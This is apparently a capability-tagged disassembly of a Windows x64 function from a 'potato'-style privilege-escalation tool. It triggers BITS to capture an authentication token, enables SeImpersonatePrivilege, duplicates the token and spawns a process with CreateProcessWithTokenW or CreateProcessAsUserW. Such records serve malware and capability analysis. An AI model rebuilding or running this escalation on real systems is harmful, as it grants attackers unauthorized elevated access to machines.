Function at 0x14001163b
Capabilities:
Create process on windows
Impersonate user
Terminate process

Disassembly:
jmp 0x140016ac0
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x838
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x166
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x858]
mov rax, qword [0x140033118]
xor rax, rbp
mov qword [rbp + 0x7c0], rax
lea rcx, reloc.WS2_32.dll_accept
call fcn.140011866
mov ecx, 0x60
call fcn.14001106e
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
je 0x140016b59
mov edx, 0x60
mov rcx, qword [rbp + 0x7a8]
call fcn.140011041
mov rcx, qword [rbp + 0x7a8]
call fcn.1400117c6
mov qword [rbp + 0x7b8], rax
jmp 0x140016b64
mov qword [rbp + 0x7b8], 0
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rbp + 8], rax
mov byte [rbp + 0x24], 1
mov byte [rbp + 0x44], 0
movzx r8d, byte [rbp + 0x808]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x7f8]
call fcn.1400112fd
mov qword [rbp + 0x68], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001108c
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
test eax, eax
je 0x140016bc7
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [rbp + 0x24]
test eax, eax
jne 0x140016bac
call fcn.140011032
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
test eax, eax
jne 0x140016bf9
lea rcx, str._nCannot_activate_BITS_object._Exiting..._n
call fcn.1400113f2
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x140016c05
lea rcx, str._nBITS_triggered__n
call fcn.1400113f2
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
mov rax, qword [rbp + 8]
cmp dword [rax + 8], 0xffffffff
je 0x140016f99
mov rax, qword [rbp + 8]
mov edx, dword [rax + 8]
lea rcx, str._n___authresult__d_n
call fcn.1400113f2
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x108]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140016c74
xor eax, eax
jmp 0x140016fb1
lea rdx, str.SeImpersonatePrivilege
mov rcx, qword [rbp + 0x108]
call fcn.140011131
lea rdx, str.SeAssignPrimaryTokenPrivilege
mov rcx, qword [rbp + 0x108]
call fcn.140011131
mov dword [rbp + 0x1b4], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x1d8]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rdx, [rbp + 0xc8]
mov rax, qword [rbp + 8]
mov rcx, qword [rax]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rcx, qword [rbp + 0xc8]
call fcn.140011073
lea rax, [rbp + 0x1b4]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x198]
mov edx, 8
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp + 0x1b4], 0
jne 0x140016d27
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.1400113f2
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov dword [rbp + 0x84], eax
lea rax, [rbp + 0x1b4]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x198]
mov edx, 8
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp + 0x1b4], 0
jne 0x140016da4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error_getting_token_type:_error_code_0x_lx_n
call fcn.1400113f2
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x250]
call fcn.140011690
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x218]
call fcn.140011690
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x218]
call fcn.140011690
mov dword [rbp + 0x250], WSAGetLastError
lea rax, str.winsta0default
mov qword [rbp + 0x260], rax
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0x304], eax
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov rdx, qword [rbp + 0x7f0]
lea rcx, [rbp + 0x330]
call qword [sym.imp.ucrtbased.dll_wcscpy]
cmp qword [rbp + 0x800], 0
je 0x140016e74
mov r8d, 1
lea rdx, [0x14002c788]
lea rcx, [rbp + 0x330]
call qword [sym.imp.ucrtbased.dll_wcsncat]
mov rcx, qword [rbp + 0x800]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov r8, rax
mov rdx, qword [rbp + 0x800]
lea rcx, [rbp + 0x330]
call qword [sym.imp.ucrtbased.dll_wcsncat]
lea rax, [rbp + 0x218]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbp + 0x330]
mov r8, qword [rbp + 0x7f0]
xor edx, edx
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140016ee8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessWithTokenW_Failed_to_create_proc:__d_n
call fcn.1400113f2
jmp 0x140016efb
lea rcx, str._n___CreateProcessWithTokenW_OK_n
call fcn.1400113f2
xor eax, eax
jmp 0x140016fb1
lea rax, [rbp + 0x218]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rax, [0x14002c800]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x330]
mov rdx, qword [rbp + 0x7f0]
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140016f8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n____CreateProcessAsUser_Failed_to_create_proc:__d_n
call fcn.1400113f2
mov eax, 0xffffffff
jmp 0x140016fb1
lea rcx, str._n___CreateProcessAsUser_OK_n
call fcn.1400113f2
jmp 0x140016fa5
lea rcx, str._nError:_No_Authenticaton_received..._negotiator__authResult____1_n
call fcn.1400113f2
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14002a930]
call fcn.14001171c
mov rax, rdi
mov rcx, qword [rbp + 0x7c0]
xor rcx, rbp
call fcn.140011424
lea rsp, [rbp + 0x7d8]
pop rdi
pop rbp
ret